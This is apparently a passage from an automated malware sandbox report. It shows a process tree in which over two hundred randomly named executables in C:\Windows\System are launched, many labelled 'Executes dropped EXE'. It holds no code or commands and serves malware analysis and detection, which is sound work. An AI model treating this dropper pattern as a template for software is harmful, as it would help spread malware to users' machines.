  C:\Windows\System\HxsvSiE.exe
  2⤵
  - Executes dropped EXE
  PID:2972
- C:\Windows\System\nRcTcBu.exe
  C:\Windows\System\nRcTcBu.exe
  2⤵
  - Executes dropped EXE
  PID:3876
- C:\Windows\System\KLYzJFR.exe
  C:\Windows\System\KLYzJFR.exe
  2⤵
  - Executes dropped EXE
  PID:4196
- C:\Windows\System\GJckpoD.exe
  C:\Windows\System\GJckpoD.exe
  2⤵
  - Executes dropped EXE
  PID:1884
- C:\Windows\System\fAMSHIH.exe
  C:\Windows\System\fAMSHIH.exe
  2⤵
  - Executes dropped EXE
  PID:3780
- C:\Windows\System\KlqPzmc.exe
  C:\Windows\System\KlqPzmc.exe
  2⤵
  - Executes dropped EXE
  PID:5100
- C:\Windows\System\kQabBrl.exe
  C:\Windows\System\kQabBrl.exe
  2⤵
  - Executes dropped EXE
  PID:4508
- C:\Windows\System\KUSSWyy.exe
  C:\Windows\System\KUSSWyy.exe
  2⤵
  - Executes dropped EXE
  PID:2676
- C:\Windows\System\ehJXVww.exe
  C:\Windows\System\ehJXVww.exe
  2⤵
  - Executes dropped EXE
  PID:4264
- C:\Windows\System\PMKAlDA.exe
  C:\Windows\System\PMKAlDA.exe
  2⤵
  - Executes dropped EXE
  PID:1124
- C:\Windows\System\BypLeOp.exe
  C:\Windows\System\BypLeOp.exe
  2⤵
  - Executes dropped EXE
  PID:2496
- C:\Windows\System\lqjuibD.exe
  C:\Windows\System\lqjuibD.exe
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\Windows\System\BZuhrlN.exe
  C:\Windows\System\BZuhrlN.exe
  2⤵
  - Executes dropped EXE
  PID:1052
- C:\Windows\System\clNQCbM.exe
  C:\Windows\System\clNQCbM.exe
  2⤵
  - Executes dropped EXE
  PID:4800
- C:\Windows\System\nmHyLEJ.exe
  C:\Windows\System\nmHyLEJ.exe
  2⤵
  - Executes dropped EXE
  PID:1184
- C:\Windows\System\tibuCQc.exe
  C:\Windows\System\tibuCQc.exe
  2⤵
  - Executes dropped EXE
  PID:1040
- C:\Windows\System\tyEDXpB.exe
  C:\Windows\System\tyEDXpB.exe
  2⤵
  - Executes dropped EXE
  PID:3440
- C:\Windows\System\SrMvZPH.exe
  C:\Windows\System\SrMvZPH.exe
  2⤵
  - Executes dropped EXE
  PID:5008
- C:\Windows\System\JEXpQjY.exe
  C:\Windows\System\JEXpQjY.exe
  2⤵
  - Executes dropped EXE
  PID:4256
- C:\Windows\System\qztPJqD.exe
  C:\Windows\System\qztPJqD.exe
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Windows\System\xBRTBbE.exe
  C:\Windows\System\xBRTBbE.exe
  2⤵
  - Executes dropped EXE
  PID:828
- C:\Windows\System\YTbPyXS.exe
  C:\Windows\System\YTbPyXS.exe
  2⤵
  - Executes dropped EXE
  PID:4864
- C:\Windows\System\uiGQhJx.exe
  C:\Windows\System\uiGQhJx.exe
  2⤵
  - Executes dropped EXE
  PID:3620
- C:\Windows\System\iHwYzhv.exe
  C:\Windows\System\iHwYzhv.exe
  2⤵
  - Executes dropped EXE
  PID:3168
- C:\Windows\System\rwXhGit.exe
  C:\Windows\System\rwXhGit.exe
  2⤵
  - Executes dropped EXE
  PID:3400
- C:\Windows\System\jRGLenV.exe
  C:\Windows\System\jRGLenV.exe
  2⤵
  - Executes dropped EXE
  PID:4064
- C:\Windows\System\zzJkaWc.exe
  C:\Windows\System\zzJkaWc.exe
  2⤵
  - Executes dropped EXE
  PID:3932
- C:\Windows\System\yesICeQ.exe
  C:\Windows\System\yesICeQ.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Windows\System\vyanixr.exe
  C:\Windows\System\vyanixr.exe
  2⤵
  - Executes dropped EXE
  PID:4964
- C:\Windows\System\agFZNgt.exe
  C:\Windows\System\agFZNgt.exe
  2⤵
  - Executes dropped EXE
  PID:1168
- C:\Windows\System\WbKaGyx.exe
  C:\Windows\System\WbKaGyx.exe
  2⤵
  - Executes dropped EXE
  PID:4420
- C:\Windows\System\JJOYYQA.exe
  C:\Windows\System\JJOYYQA.exe
  2⤵
  - Executes dropped EXE
  PID:3020
- C:\Windows\System\xxuLtdY.exe
  C:\Windows\System\xxuLtdY.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\zpxsMTN.exe
  C:\Windows\System\zpxsMTN.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\fCNayDl.exe
  C:\Windows\System\fCNayDl.exe
  2⤵
  - Executes dropped EXE
  PID:2384
- C:\Windows\System\jILqfrs.exe
  C:\Windows\System\jILqfrs.exe
  2⤵
  - Executes dropped EXE
  PID:3452
- C:\Windows\System\ombwdWc.exe
  C:\Windows\System\ombwdWc.exe
  2⤵
  - Executes dropped EXE
  PID:5112
- C:\Windows\System\BZsKNIS.exe
  C:\Windows\System\BZsKNIS.exe
  2⤵
  - Executes dropped EXE
  PID:1428
- C:\Windows\System\UENeqVm.exe
  C:\Windows\System\UENeqVm.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\UWGqPRb.exe
  C:\Windows\System\UWGqPRb.exe
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Windows\System\tmiUCBl.exe
  C:\Windows\System\tmiUCBl.exe
  2⤵
  - Executes dropped EXE
  PID:3320
- C:\Windows\System\rFgJXQT.exe
  C:\Windows\System\rFgJXQT.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\WUmGxvG.exe
  C:\Windows\System\WUmGxvG.exe
  2⤵
  PID:3084
- C:\Windows\System\mHbtGKQ.exe
  C:\Windows\System\mHbtGKQ.exe
  2⤵
  PID:1748
- C:\Windows\System\eEJhWip.exe
  C:\Windows\System\eEJhWip.exe
  2⤵
  PID:3204
- C:\Windows\System\fMaBYjm.exe
  C:\Windows\System\fMaBYjm.exe
  2⤵
  PID:2260
- C:\Windows\System\eSxutYb.exe
  C:\Windows\System\eSxutYb.exe
  2⤵
  PID:2652
- C:\Windows\System\lBolycu.exe
  C:\Windows\System\lBolycu.exe
  2⤵
  PID:2116
- C:\Windows\System\QBOfoPo.exe
  C:\Windows\System\QBOfoPo.exe
  2⤵
  PID:5092
- C:\Windows\System\eeddpqs.exe
  C:\Windows\System\eeddpqs.exe
  2⤵
  PID:1556
- C:\Windows\System\cbptHIw.exe
  C:\Windows\System\cbptHIw.exe
  2⤵
  PID:4240
- C:\Windows\System\wYfLxUy.exe
  C:\Windows\System\wYfLxUy.exe
  2⤵
  PID:2832
- C:\Windows\System\CbxRjgB.exe
  C:\Windows\System\CbxRjgB.exe
  2⤵
  PID:2980
- C:\Windows\System\nOlVPWO.exe
  C:\Windows\System\nOlVPWO.exe
  2⤵
  PID:5152
- C:\Windows\System\bONyrik.exe
  C:\Windows\System\bONyrik.exe
  2⤵
  PID:5168
- C:\Windows\System\TvPPDpR.exe
  C:\Windows\System\TvPPDpR.exe
  2⤵
  PID:5188
- C:\Windows\System\ZFbueJi.exe
  C:\Windows\System\ZFbueJi.exe
  2⤵
  PID:5208
- C:\Windows\System\TEboJNw.exe
  C:\Windows\System\TEboJNw.exe
  2⤵
  PID:5232
- C:\Windows\System\JYgmMQd.exe
  C:\Windows\System\JYgmMQd.exe
  2⤵
  PID:5256
- C:\Windows\System\kkIzYOP.exe
  C:\Windows\System\kkIzYOP.exe
  2⤵
  PID:5276
- C:\Windows\System\fnFcRfx.exe
  C:\Windows\System\fnFcRfx.exe
  2⤵
  PID:5300
- C:\Windows\System\oCYmFuD.exe
  C:\Windows\System\oCYmFuD.exe
  2⤵
  PID:5328
- C:\Windows\System\tkCuPeT.exe
  C:\Windows\System\tkCuPeT.exe
  2⤵
  PID:5344
- C:\Windows\System\niESHOq.exe
  C:\Windows\System\niESHOq.exe
  2⤵
  PID:5368
- C:\Windows\System\hHwnXVd.exe
  C:\Windows\System\hHwnXVd.exe
  2⤵
  PID:5384
- C:\Windows\System\lFGvfzA.exe
  C:\Windows\System\lFGvfzA.exe
  2⤵
  PID:5404
- C:\Windows\System\pOBHjgx.exe
  C:\Windows\System\pOBHjgx.exe
  2⤵
  PID:5420
- C:\Windows\System\odKuugF.exe
  C:\Windows\System\odKuugF.exe
  2⤵
  PID:5436
- C:\Windows\System\oloYdWs.exe
  C:\Windows\System\oloYdWs.exe
  2⤵
  PID:5456
- C:\Windows\System\rdTCZjC.exe
  C:\Windows\System\rdTCZjC.exe
  2⤵
  PID:5472
- C:\Windows\System\AlcNuzS.exe
  C:\Windows\System\AlcNuzS.exe
  2⤵
  PID:5508
- C:\Windows\System\ZFhdEkn.exe
  C:\Windows\System\ZFhdEkn.exe
  2⤵
  PID:5528
- C:\Windows\System\txTxAMC.exe
  C:\Windows\System\txTxAMC.exe
  2⤵
  PID:5552
- C:\Windows\System\zgquqGy.exe
  C:\Windows\System\zgquqGy.exe
  2⤵
  PID:5576
- C:\Windows\System\snzQHnI.exe
  C:\Windows\System\snzQHnI.exe
  2⤵
  PID:5592
- C:\Windows\System\LsMGrny.exe
  C:\Windows\System\LsMGrny.exe
  2⤵
  PID:5620
- C:\Windows\System\MrMYjtN.exe
  C:\Windows\System\MrMYjtN.exe
  2⤵
  PID:5640
- C:\Windows\System\fcmtPas.exe
  C:\Windows\System\fcmtPas.exe
  2⤵
  PID:5660
- C:\Windows\System\txLjPma.exe
  C:\Windows\System\txLjPma.exe
  2⤵
  PID:5676
- C:\Windows\System\vWQPcEN.exe
  C:\Windows\System\vWQPcEN.exe
  2⤵
  PID:5696
- C:\Windows\System\gBwXycj.exe
  C:\Windows\System\gBwXycj.exe
  2⤵
  PID:5716
- C:\Windows\System\siJHVXt.exe
  C:\Windows\System\siJHVXt.exe
  2⤵
  PID:5736
- C:\Windows\System\tkkxQiF.exe
  C:\Windows\System\tkkxQiF.exe
  2⤵
  PID:5768
- C:\Windows\System\SKjmYka.exe
  C:\Windows\System\SKjmYka.exe
  2⤵
  PID:5784
- C:\Windows\System\ctiAmbe.exe
  C:\Windows\System\ctiAmbe.exe
  2⤵
  PID:5804
- C:\Windows\System\uRZlVLt.exe
  C:\Windows\System\uRZlVLt.exe
  2⤵
  PID:5828
- C:\Windows\System\KqAWvyX.exe
  C:\Windows\System\KqAWvyX.exe
  2⤵
  PID:5844
- C:\Windows\System\NdfWeyo.exe
  C:\Windows\System\NdfWeyo.exe
  2⤵
  PID:5872
- C:\Windows\System\iAlRJhH.exe
  C:\Windows\System\iAlRJhH.exe
  2⤵
  PID:5900
- C:\Windows\System\yoFMjiC.exe
  C:\Windows\System\yoFMjiC.exe
  2⤵
  PID:5916
- C:\Windows\System\PThSRAh.exe
  C:\Windows\System\PThSRAh.exe
  2⤵
  PID:5936
- C:\Windows\System\CAXXKyl.exe
  C:\Windows\System\CAXXKyl.exe
  2⤵
  PID:5956
- C:\Windows\System\yPUyPiP.exe
  C:\Windows\System\yPUyPiP.exe
  2⤵
  PID:5976
- C:\Windows\System\BLdMRil.exe
  C:\Windows\System\BLdMRil.exe
  2⤵
  PID:5992
- C:\Windows\System\qizxkOb.exe
  C:\Windows\System\qizxkOb.exe
  2⤵
  PID:6012
- C:\Windows\System\tTUZFlP.exe
  C:\Windows\System\tTUZFlP.exe
  2⤵
  PID:6036
- C:\Windows\System\HccgEJl.exe
  C:\Windows\System\HccgEJl.exe
  2⤵
  PID:6052
- C:\Windows\System\XIXgPOZ.exe
  C:\Windows\System\XIXgPOZ.exe
  2⤵
  PID:6076
- C:\Windows\System\yepncQp.exe
  C:\Windows\System\yepncQp.exe
  2⤵
  PID:6100
- C:\Windows\System\qppGSuW.exe
  C:\Windows\System\qppGSuW.exe
  2⤵
  PID:6116
- C:\Windows\System\mUnsZGh.exe
  C:\Windows\System\mUnsZGh.exe
  2⤵
  PID:532
- C:\Windows\System\WKYyYPA.exe
  C:\Windows\System\WKYyYPA.exe
  2⤵
  PID:740
- C:\Windows\System\jFBAHuK.exe
  C:\Windows\System\jFBAHuK.exe
  2⤵
  PID:1012
- C:\Windows\System\isfyexv.exe
  C:\Windows\System\isfyexv.exe
  2⤵
  PID:4340
- C:\Windows\System\WxNIwkA.exe
  C:\Windows\System\WxNIwkA.exe
  2⤵
  PID:4752
- C:\Windows\System\jbzInpC.exe
  C:\Windows\System\jbzInpC.exe
  2⤵
  PID:408
- C:\Windows\System\aQkXVzX.exe
  C:\Windows\System\aQkXVzX.exe
  2⤵
  PID:1300
- C:\Windows\System\SEGpuTK.exe
  C:\Windows\System\SEGpuTK.exe
  2⤵
  PID:1508
- C:\Windows\System\kSQIaGr.exe
  C:\Windows\System\kSQIaGr.exe
  2⤵
  PID:2024
- C:\Windows\System\UZPgDZL.exe
  C:\Windows\System\UZPgDZL.exe
  2⤵
  PID:5160
- C:\Windows\System\QHFtWll.exe
  C:\Windows\System\QHFtWll.exe
  2⤵
  PID:3104
- C:\Windows\System\GcpVfrU.exe
  C:\Windows\System\GcpVfrU.exe
  2⤵
  PID:2900
- C:\Windows\System\ftxcIrW.exe
  C:\Windows\System\ftxcIrW.exe
  2⤵
  PID:4684
- C:\Windows\System\qkIZZrF.exe
  C:\Windows\System\qkIZZrF.exe
  2⤵
  PID:5464
- C:\Windows\System\UUJSHhk.exe
  C:\Windows\System\UUJSHhk.exe
  2⤵
  PID:4336
- C:\Windows\System\tBpFOIR.exe
  C:\Windows\System\tBpFOIR.exe
  2⤵
  PID:4576
- C:\Windows\System\qRCcpfz.exe
  C:\Windows\System\qRCcpfz.exe
  2⤵
  PID:5572
- C:\Windows\System\pAZsLwU.exe
  C:\Windows\System\pAZsLwU.exe
  2⤵
  PID:5668
- C:\Windows\System\Casdpsf.exe
  C:\Windows\System\Casdpsf.exe
  2⤵
  PID:2208
- C:\Windows\System\aOYKIUp.exe
  C:\Windows\System\aOYKIUp.exe
  2⤵
  PID:6164
- C:\Windows\System\xINBwDi.exe
  C:\Windows\System\xINBwDi.exe
  2⤵
  PID:6184
- C:\Windows\System\HMAvQWW.exe
  C:\Windows\System\HMAvQWW.exe
  2⤵
  PID:6204
- C:\Windows\System\UqEfOGj.exe
  C:\Windows\System\UqEfOGj.exe
  2⤵
  PID:6228
- C:\Windows\System\vKcLYDb.exe
  C:\Windows\System\vKcLYDb.exe
  2⤵
  PID:6252
- C:\Windows\System\BpMUStc.exe
  C:\Windows\System\BpMUStc.exe
  2⤵
  PID:6268
- C:\Windows\System\JcdUdEU.exe
  C:\Windows\System\JcdUdEU.exe
  2⤵
  PID:6292
- C:\Windows\System\tRVvXRC.exe
  C:\Windows\System\tRVvXRC.exe
  2⤵
  PID:6316
- C:\Windows\System\prXufWS.exe
  C:\Windows\System\prXufWS.exe
  2⤵
  PID:6332
- C:\Windows\System\XbRBPnC.exe
  C:\Windows\System\XbRBPnC.exe
  2⤵
  PID:6360
- C:\Windows\System\rcqadTb.exe
  C:\Windows\System\rcqadTb.exe
  2⤵
  PID:6376
- C:\Windows\System\YePBGrQ.exe
  C:\Windows\System\YePBGrQ.exe
  2⤵
  PID:6424
- C:\Windows\System\ZonzXVP.exe
  C:\Windows\System\ZonzXVP.exe
  2⤵
  PID:6440
- C:\Windows\System\DAwrnWx.exe
  C:\Windows\System\DAwrnWx.exe
  2⤵
  PID:6464
- C:\Windows\System\kGKyVHT.exe
  C:\Windows\System\kGKyVHT.exe
  2⤵
  PID:6500
- C:\Windows\System\BidjPZw.exe
  C:\Windows\System\BidjPZw.exe
  2⤵
  PID:6524
- C:\Windows\System\yXtxIkz.exe
  C:\Windows\System\yXtxIkz.exe
  2⤵
  PID:6548
- C:\Windows\System\MCOAZAn.exe
  C:\Windows\System\MCOAZAn.exe
  2⤵
  PID:6564
- C:\Windows\System\cogDcFF.exe
  C:\Windows\System\cogDcFF.exe
  2⤵
  PID:6624
- C:\Windows\System\eGCgFzS.exe
  C:\Windows\System\eGCgFzS.exe
  2⤵
  PID:6640
- C:\Windows\System\XkszUpW.exe
  C:\Windows\System\XkszUpW.exe
  2⤵
  PID:6664
- C:\Windows\System\VRBmnuK.exe
  C:\Windows\System\VRBmnuK.exe
  2⤵
  PID:6684
- C:\Windows\System\GIUTYoe.exe
  C:\Windows\System\GIUTYoe.exe
  2⤵
  PID:6708
- C:\Windows\System\ggawihX.exe
  C:\Windows\System\ggawihX.exe
  2⤵
  PID:6724
- C:\Windows\System\ZjWHATc.exe
  C:\Windows\System\ZjWHATc.exe
  2⤵
  PID:6744
- C:\Windows\System\uupgbVo.exe
  C:\Windows\System\uupgbVo.exe
  2⤵
  PID:6764
- C:\Windows\System\DkBwAPL.exe
  C:\Windows\System\DkBwAPL.exe
  2⤵
  PID:6788
- C:\Windows\System\gaarooM.exe
  C:\Windows\System\gaarooM.exe
  2⤵
  PID:6804
- C:\Windows\System\PpNOrUS.exe
  C:\Windows\System\PpNOrUS.exe
  2⤵
  PID:6836
- C:\Windows\System\YMmlptc.exe
  C:\Windows\System\YMmlptc.exe
  2⤵
  PID:6852
- C:\Windows\System\EPAhefW.exe
  C:\Windows\System\EPAhefW.exe
  2⤵
  PID:6876
- C:\Windows\System\IqYdJpR.exe
  C:\Windows\System\IqYdJpR.exe
  2⤵
  PID:6892
- C:\Windows\System\EdGSzbs.exe
  C:\Windows\System\EdGSzbs.exe
  2⤵
  PID:6916
- C:\Windows\System\oyDLqvf.exe
  C:\Windows\System\oyDLqvf.exe
  2⤵
  PID:6936
- C:\Windows\System\XtdtIZs.exe
  C:\Windows\System\XtdtIZs.exe
  2⤵
  PID:6956
- C:\Windows\System\jstWuxt.exe
  C:\Windows\System\jstWuxt.exe
  2⤵
  PID:6984
- C:\Windows\System\QekmFYL.exe
  C:\Windows\System\QekmFYL.exe
  2⤵
  PID:7000
- C:\Windows\System\QYQVQoE.exe
  C:\Windows\System\QYQVQoE.exe
  2⤵
  PID:7024
- C:\Windows\System\zcSdHjX.exe
  C:\Windows\System\zcSdHjX.exe
  2⤵
  PID:7052
- C:\Windows\System\yRWUlDC.exe
  C:\Windows\System\yRWUlDC.exe
  2⤵
  PID:7068
- C:\Windows\System\pfPlIJs.exe
  C:\Windows\System\pfPlIJs.exe
  2⤵
  PID:7092
- C:\Windows\System\VwPLYxU.exe
  C:\Windows\System\VwPLYxU.exe
  2⤵
  PID:7116
- C:\Windows\System\BrprBqq.exe
  C:\Windows\System\BrprBqq.exe
  2⤵
  PID:7132
- C:\Windows\System\BbJasAf.exe
  C:\Windows\System\BbJasAf.exe
  2⤵
  PID:7156
- C:\Windows\System\badtlFF.exe
  C:\Windows\System\badtlFF.exe
  2⤵
  PID:5948
- C:\Windows\System\aRepEMK.exe
  C:\Windows\System\aRepEMK.exe
  2⤵
  PID:6060
- C:\Windows\System\HEJMpYg.exe
  C:\Windows\System\HEJMpYg.exe
  2⤵
  PID:3964
- C:\Windows\System\rhveMwi.exe
  C:\Windows\System\rhveMwi.exe
  2⤵
  PID:2080
- C:\Windows\System\rqRzWfC.exe
  C:\Windows\System\rqRzWfC.exe
  2⤵
  PID:5196
- C:\Windows\System\eNcfTjy.exe
  C:\Windows\System\eNcfTjy.exe
  2⤵
  PID:5240
- C:\Windows\System\lkQPmDh.exe
  C:\Windows\System\lkQPmDh.exe
  2⤵
  PID:5496
- C:\Windows\System\yJfOXPm.exe
  C:\Windows\System\yJfOXPm.exe
  2⤵
  PID:1480
- C:\Windows\System\RcTujKY.exe
  C:\Windows\System\RcTujKY.exe
  2⤵
  PID:5340
- C:\Windows\System\bIiuurq.exe
  C:\Windows\System\bIiuurq.exe
  2⤵
  PID:5284
- C:\Windows\System\oDBGDjr.exe
  C:\Windows\System\oDBGDjr.exe
  2⤵
  PID:5968
- C:\Windows\System\IjSsnqb.exe
  C:\Windows\System\IjSsnqb.exe
  2⤵
  PID:6300
- C:\Windows\System\VwTMmGp.exe
  C:\Windows\System\VwTMmGp.exe
  2⤵
  PID:6384
- C:\Windows\System\hKkrWSK.exe
  C:\Windows\System\hKkrWSK.exe
  2⤵
  PID:6432
- C:\Windows\System\gOdKMYl.exe
  C:\Windows\System\gOdKMYl.exe
  2⤵
  PID:5520
- C:\Windows\System\XKtpIcP.exe
  C:\Windows\System\XKtpIcP.exe
  2⤵
  PID:6512
- C:\Windows\System\ImCGrqd.exe
  C:\Windows\System\ImCGrqd.exe
  2⤵
  PID:6556
- C:\Windows\System\DONneLJ.exe
  C:\Windows\System\DONneLJ.exe
  2⤵
  PID:5132
- C:\Windows\System\iXuplux.exe
  C:\Windows\System\iXuplux.exe
  2⤵
  PID:5708
- C:\Windows\System\jdScrwI.exe
  C:\Windows\System\jdScrwI.exe
  2⤵
  PID:5748
- C:\Windows\System\caKXRSp.exe
  C:\Windows\System\caKXRSp.exe
  2⤵
  PID:5248
- C:\Windows\System\WoMyXJz.exe
  C:\Windows\System\WoMyXJz.exe
  2⤵
  PID:5880
- C:\Windows\System\ELwnrYU.exe
  C:\Windows\System\ELwnrYU.exe
  2⤵
  PID:5928
- C:\Windows\System\BtcHGeE.exe
  C:\Windows\System\BtcHGeE.exe
  2⤵
  PID:7180
- C:\Windows\System\QXjWzVn.exe
  C:\Windows\System\QXjWzVn.exe
  2⤵
  PID:7204
- C:\Windows\System\RBOHufX.exe
  C:\Windows\System\RBOHufX.exe
  2⤵
  PID:7228
- C:\Windows\System\RnOAakI.exe
  C:\Windows\System\RnOAakI.exe
  2⤵
  PID:7248
- C:\Windows\System\yFUxuFJ.exe
  C:\Windows\System\yFUxuFJ.exe
  2⤵
  PID:7272
- C:\Windows\System\rSBdoWh.exe
  C:\Windows\System\rSBdoWh.exe
  2⤵
  PID:7292
- C:\Windows\System\kDmaoEd.exe
  C:\Windows\System\kDmaoEd.exe
  2⤵
  PID:7320
- C:\Windows\System\QucqzAu.exe
  C:\Windows\System\QucqzAu.exe
  2⤵
  PID:7336
- C:\Windows\System\evCaPNe.exe
  C:\Windows\System\evCaPNe.exe
  2⤵
  PID:7364
- C:\Windows\System\SGuRLPW.exe
  C:\Windows\System\SGuRLPW.exe
  2⤵
  PID:7388
- C:\Windows\System\HjpqVmi.exe
  C:\Windows\System\HjpqVmi.exe
  2⤵
  PID:7404
- C:\Windows\System\MsRxmWu.exe
  C:\Windows\System\MsRxmWu.exe
  2⤵
  PID:7428
- C:\Windows\System\wpQhobX.exe
  C:\Windows\System\wpQhobX.exe
  2⤵
  PID:7448
- C:\Windows\System\wqJUlgB.exe
  C:\Windows\System\wqJUlgB.exe
  2⤵
  PID:7468
- C:\Windows\System\ecWtfmW.exe
  C:\Windows\System\ecWtfmW.exe
  2⤵
  PID:7492
- C:\Windows\System\rHItRSR.exe
  C:\Windows\System\rHItRSR.exe
  2⤵
  PID:7512
- C:\Windows\System\rppWmPC.exe
  C:\Windows\System\rppWmPC.exe
  2⤵
  PID:7532
- C:\Windows\System\IMOvgov.exe
  C:\Windows\System\IMOvgov.exe
  2⤵
  PID:7556
- C:\Windows\System\XaRcfXH.exe
  C:\Windows\System\XaRcfXH.exe
  2⤵
  PID:7572
- C:\Windows\System\YZuEweQ.exe
  C:\Windows\System\YZuEweQ.exe
  2⤵
  PID:7600
- C:\Windows\System\lirhdBy.exe
  C:\Windows\System\lirhdBy.exe
  2⤵
  PID:7620
- C:\Windows\System\TCssuhX.exe
  C:\Windows\System\TCssuhX.exe
  2⤵
  PID:7644
- C:\Windows\System\lzKYluY.exe
  C:\Windows\System\lzKYluY.exe
  2⤵
  PID:7664
- C:\Windows\System\cZThPKv.exe
  C:\Windows\System\cZThPKv.exe
  2⤵
  PID:7680
- C:\Windows\System\ckpzPev.exe
  C:\Windows\System\ckpzPev.exe
  2⤵
  PID:7704
- C:\Windows\System\ajYCFou.exe
  C:\Windows\System\ajYCFou.exe
  2⤵
  PID:7720
- C:\Windows\System\OTMeZXz.exe
  C:\Windows\System\OTMeZXz.exe
  2⤵
  PID:7744
- C:\Windows\System\tXbLdPH.exe
  C:\Windows\System\tXbLdPH.exe
  2⤵
  PID:7768
- C:\Windows\System\HEcInJs.exe
  C:\Windows\System\HEcInJs.exe
  2⤵
  PID:7784
- C:\Windows\System\iZTlyef.exe
  C:\Windows\System\iZTlyef.exe
  2⤵
  PID:7960
- C:\Windows\System\awOLkEm.exe
  C:\Windows\System\awOLkEm.exe
  2⤵
  PID:7976
- C:\Windows\System\hyBrdSe.exe
  C:\Windows\System\hyBrdSe.exe
  2⤵
  PID:7992
- C:\Windows\System\SmFBBJH.exe
  C:\Windows\System\SmFBBJH.exe
  2⤵
  PID:8008
- C:\Windows\System\kaUiYSy.exe
  C:\Windows\System\kaUiYSy.exe
  2⤵
  PID:8024
- C:\Windows\System\noXFJzB.exe
  C:\Windows\System\noXFJzB.exe
  2⤵
  PID:8040
- C:\Windows\System\apYtTDE.exe
  C:\Windows\System\apYtTDE.exe
  2⤵
  PID:8056
- C:\Windows\System\NnYwVGK.exe
  C:\Windows\System\NnYwVGK.exe
  2⤵
  PID:8072
- C:\Windows\System\UcqHckE.exe
  C:\Windows\System\UcqHckE.exe
  2⤵
  PID:8096
- C:\Windows\System\yRPlGMP.exe
  C:\Windows\System\yRPlGMP.exe
  2⤵
  PID:8112
- C:\Windows\System\wJpHrwT.exe
  C:\Windows\System\wJpHrwT.exe
  2⤵
  PID:8132
- C:\Windows\System\PsWwGsw.exe
  C:\Windows\System\PsWwGsw.exe
  2⤵
  PID:8152
- C:\Windows\System\GlTlbaQ.exe
  C:\Windows\System\GlTlbaQ.exe
  2⤵
  PID:8172
- C:\Windows\System\TqHGojU.exe
  C:\Windows\System\TqHGojU.exe
  2⤵
  PID:6824
- C:\Windows\System\zaiXHBf.exe
  C:\Windows\System\zaiXHBf.exe
  2⤵
  PID:6236
- C:\Windows\System\UIIYwXr.exe
  C:\Windows\System\UIIYwXr.exe
  2⤵
  PID:6008
- C:\Windows\System\sqELgUk.exe
  C:\Windows\System\sqELgUk.exe
  2⤵
  PID:7036
- C:\Windows\System\OdYfMln.exe
  C:\Windows\System\OdYfMln.exe
  2⤵
  PID:6352
- C:\Windows\System\FZIzwSl.exe
  C:\Windows\System\FZIzwSl.exe
  2⤵
  PID:6112
- C:\Windows\System\JnHHGug.exe
  C:\Windows\System\JnHHGug.exe
  2⤵
  PID:6108
- C:\Windows\System\hniinVf.exe
  C:\Windows\System\hniinVf.exe
  2⤵
  PID:6032
- C:\Windows\System\xkTkVei.exe
  C:\Windows\System\xkTkVei.exe
  2⤵
  PID:6404
- C:\Windows\System\YfcypEx.exe
  C:\Windows\System\YfcypEx.exe
  2⤵
  PID:5228
- C:\Windows\System\qzHTsRt.exe
  C:\Windows\System\qzHTsRt.exe
  2⤵
  PID:4580
- C:\Windows\System\FxlYnYN.exe
  C:\Windows\System\FxlYnYN.exe
  2⤵
  PID:6544
- C:\Windows\System\cFUEtZp.exe
  C:\Windows\System\cFUEtZp.exe
  2⤵
  PID:1932
- C:\Windows\System\wPgvTzP.exe
  C:\Windows\System\wPgvTzP.exe
  2⤵
  PID:4848
- C:\Windows\System\SNmujHY.exe
  C:\Windows\System\SNmujHY.exe
  2⤵
  PID:5416
- C:\Windows\System\oxtYrhW.exe
  C:\Windows\System\oxtYrhW.exe
  2⤵
  PID:6756
- C:\Windows\System\pLHaUlk.exe
  C:\Windows\System\pLHaUlk.exe
  2⤵
  PID:6800
- C:\Windows\System\wHnUZyI.exe
  C:\Windows\System\wHnUZyI.exe
  2⤵
  PID:7032
- C:\Windows\System\lbyLUEF.exe
  C:\Windows\System\lbyLUEF.exe
  2⤵
  PID:6592
- C:\Windows\System\zTxfNHP.exe
  C:\Windows\System\zTxfNHP.exe
  2⤵
  PID:6632
- C:\Windows\System\RFXppRg.exe
  C:\Windows\System\RFXppRg.exe
  2⤵
  PID:6716
- C:\Windows\System\QlzmiEL.exe
  C:\Windows\System\QlzmiEL.exe
  2⤵
  PID:6776
- C:\Windows\System\HqVMsmg.exe
  C:\Windows\System\HqVMsmg.exe
  2⤵
  PID:6864
- C:\Windows\System\TTMaKrI.exe
  C:\Windows\System\TTMaKrI.exe
  2⤵
  PID:6912
- C:\Windows\System\vsHCXPv.exe
  C:\Windows\System\vsHCXPv.exe
  2⤵
  PID:6952
- C:\Windows\System\xDMTYEu.exe
  C:\Windows\System\xDMTYEu.exe
  2⤵
  PID:6996
- C:\Windows\System\RotSweF.exe
  C:\Windows\System\RotSweF.exe
  2⤵
  PID:7064
- C:\Windows\System\hlVCDYq.exe
  C:\Windows\System\hlVCDYq.exe
  2⤵
  PID:7152
- C:\Windows\System\NNoorgq.exe
  C:\Windows\System\NNoorgq.exe
  2⤵
  PID:3456
- C:\Windows\System\CAimlii.exe
  C:\Windows\System\CAimlii.exe
  2⤵
  PID:6460
- C:\Windows\System\UaZBJdy.exe
  C:\Windows\System\UaZBJdy.exe
  2⤵
  PID:7188
- C:\Windows\System\SzYzgGu.exe
  C:\Windows\System\SzYzgGu.exe
  2⤵
  PID:7484
- C:\Windows\System\yVWOOzU.exe
  C:\Windows\System\yVWOOzU.exe
  2⤵
  PID:7688
- C:\Windows\System\gDUuldJ.exe
  C:\Windows\System\gDUuldJ.exe
  2⤵
  PID:6328
- C:\Windows\System\IgiXQfG.exe
  C:\Windows\System\IgiXQfG.exe
  2⤵
  PID:7200
- C:\Windows\System\JuahcrC.exe
  C:\Windows\System\JuahcrC.exe
  2⤵
  PID:8208
- C:\Windows\System\zsWtWAk.exe
  C:\Windows\System\zsWtWAk.exe
  2⤵
  PID:8228
- C:\Windows\System\AVseNEh.exe
  C:\Windows\System\AVseNEh.exe
  2⤵
  PID:8248
- C:\Windows\System\YelrgpG.exe
  C:\Windows\System\YelrgpG.exe
  2⤵
  PID:8268
- C:\Windows\System\DjbsQps.exe
  C:\Windows\System\DjbsQps.exe
  2⤵
  PID:8288
